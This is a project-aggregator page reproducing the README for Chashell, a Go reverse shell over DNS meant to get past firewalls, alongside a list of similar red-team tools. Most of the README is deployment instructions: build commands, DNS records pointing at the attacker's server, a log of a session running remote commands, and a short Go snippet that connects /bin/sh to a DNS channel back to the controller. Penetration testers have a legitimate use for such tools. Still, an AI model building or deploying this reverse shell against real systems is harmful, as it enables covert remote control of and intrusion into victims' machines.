All Projects → sysdream → Chashell

sysdream / Chashell

Chashell is a Go reverse shell that communicates over DNS. It can be used to bypass firewalls or tightly restricted networks.

Programming Languages

go
31211 projects - #10 most used programming language

Projects that are alternatives of or similar to Chashell

Hershell
Hershell is a simple TCP reverse shell written in Go.
Stars: ✭ 442 (-40.43%)
Mutual labels:  pentest, infosec, redteam, reverse-shell
Gorsh
A Golang Reverse Shell w/ a Tmux-driven psuedo-C2 Interface
Stars: ✭ 97 (-86.93%)
Mutual labels:  infosec, redteam, reverse-shell
Wsmanager
Webshell Manager
Stars: ✭ 99 (-86.66%)
Mutual labels:  pentest, infosec, redteam
Girsh
Automatically spawn a reverse shell fully interactive for Linux or Windows victim
Stars: ✭ 66 (-91.11%)
Mutual labels:  pentest, redteam, reverse-shell
NIST-to-Tech
An open-source listing of cybersecurity technology mapped to the NIST Cybersecurity Framework (CSF)
Stars: ✭ 61 (-91.78%)
Mutual labels:  infosec, pentest, redteam
volana
🌒 Shell command obfuscation to avoid detection systems
Stars: ✭ 38 (-94.88%)
Mutual labels:  infosec, pentest, redteam
Snoop
Snoop — инструмент разведки на основе открытых данных (OSINT world)
Stars: ✭ 886 (+19.41%)
Mutual labels:  pentest, infosec, redteam
1earn
ffffffff0x 团队维护的安全知识框架,内容包括不仅限于 web安全、工控安全、取证、应急、蓝队设施部署、后渗透、Linux安全、各类靶机writup
Stars: ✭ 3,715 (+400.67%)
Mutual labels:  infosec, pentest, redteam
MsfMania
Python AV Evasion Tools
Stars: ✭ 388 (-47.71%)
Mutual labels:  reverse-shell, pentest, redteam
Offensive-Reverse-Shell-Cheat-Sheet
Offensive Reverse Shell (Cheat Sheet)
Stars: ✭ 138 (-81.4%)
Mutual labels:  reverse-shell, pentest, redteam
Cloudbrute
Awesome cloud enumerator
Stars: ✭ 268 (-63.88%)
Mutual labels:  infosec, redteam
Overlord
Overlord - Red Teaming Infrastructure Automation
Stars: ✭ 258 (-65.23%)
Mutual labels:  pentest, redteam
Dorknet
Selenium powered Python script to automate searching for vulnerable web apps.
Stars: ✭ 256 (-65.5%)
Mutual labels:  pentest, infosec
NewNtdllBypassInlineHook CSharp
Load a fresh new copy of ntdll.dll via file mapping to bypass API inline hook.
Stars: ✭ 35 (-95.28%)
Mutual labels:  pentest, redteam
Cobaltstrike Ms17 010
cobaltstrike ms17-010 module and some other
Stars: ✭ 300 (-59.57%)
Mutual labels:  pentest, redteam
Reverse Shell Cheatsheet
🙃 Reverse Shell Cheat Sheet 🙃
Stars: ✭ 297 (-59.97%)
Mutual labels:  redteam, reverse-shell
Getaltname
Extract subdomains from SSL certificates in HTTPS sites.
Stars: ✭ 320 (-56.87%)
Mutual labels:  pentest, infosec
Gosint
OSINT Swiss Army Knife
Stars: ✭ 401 (-45.96%)
Mutual labels:  pentest, infosec
Pwndoc
Pentest Report Generator
Stars: ✭ 417 (-43.8%)
Mutual labels:  pentest, infosec
ReversePowerShell
Functions that can be used to gain Reverse Shells with PowerShell
Stars: ✭ 48 (-93.53%)
Mutual labels:  reverse-shell, redteam

Chashell

Reverse Shell over DNS

Chashell is a Go reverse shell that communicates over DNS. It can be used to bypass firewalls or tightly restricted networks.

It comes with a multi-client control server, named chaserv.

Chaserv

Communication security

Every packet is encrypted using symmetric cryptography (XSalsa20 + Poly1305), with a shared key between the client and the server.

We plan to implement asymmetric cryptography in the future.

Protocol

Chashell communicates using Protocol Buffers serialized messages. For reference, the Protocol Buffers structure (.proto file) is available in the proto folder.

Here is a (simplified) communication chart :

Protocol

Keep in mind that every packet is encrypted, hex-encoded and then packed for DNS transportation.

Supported systems

Chashell should work with any desktop system (Windows, Linux, Darwin, BSD variants) that is supported by the Go compiler.

We tested those systems and it works without issues :

  • Windows (386/amd64)
  • Linux (386/amd64/arm64)
  • OS X (386/amd64)

How to use Chaserv/Chashell

Building

Make sure the GOPATH environment variable is correctly configured before running these commands.

Build all the binaries (adjust the domain_name and the encryption_key to your needs):

$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))')
$ export DOMAIN_NAME=c.sysdream.com
$ make build-all

Build for a specific platform:

$ make build-all OSARCH="linux/arm"

Build only the server:

$ make build-server

Build only the client (chashell itself):

$ make build-client

DNS Settings

  • Buy and configure a domain name of your choice (preferably short).
  • Set a DNS record like this :
chashell 300 IN A [SERVERIP]
c 300 IN NS chashell.[DOMAIN].

Usage

Basically, on the server side (attacker's computer), you must use the chaserv binary. For the client side (i.e the target), use the chashell binary.

So:

  • Run chaserv on the control server.
  • Run chashell on the target computer.

The client should now connect back to chaserv:

[n.chatelain]$ sudo ./chaserv
chashell >>> New session : 5c54404419e59881dfa3a757
chashell >>> sessions 5c54404419e59881dfa3a757
Interacting with session 5c54404419e59881dfa3a757.
whoami
n.chatelain
ls /
bin
boot
dev
[...]
usr
var

Use the sessions [sessionid] command to interact with a client. When interacting with a session, you can use the background command in order to return to the chashell prompt.

Use the exit command to close chaserv.

Implement your own

The chashell/lib/transport library is compatible with the io.Reader / io.Writer interface. So, implementing a reverse shell is as easy as :

cmd := exec.Command("/bin/sh")

dnsTransport := transport.DNSStream(targetDomain, encryptionKey)

cmd.Stdout = dnsTransport
cmd.Stderr = dnsTransport
cmd.Stdin = dnsTransport
cmd.Run()

Debugging

For more verbose messages, add TAGS=debug at the end of the make command.

To Do

  • Implement asymmetric cryptography (Curve25519, XSalsa20 and Poly1305)
  • Retrieve the host name using the InfoPacket message.
  • Create a proxy/relay tool in order to tunnel TCP/UDP streams (Meterpreter over DNS !).
  • Better error handling.
  • Get rid of dependencies.

Credits

  • Nicolas Chatelain <n.chatelain -at- sysdream.com>
Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].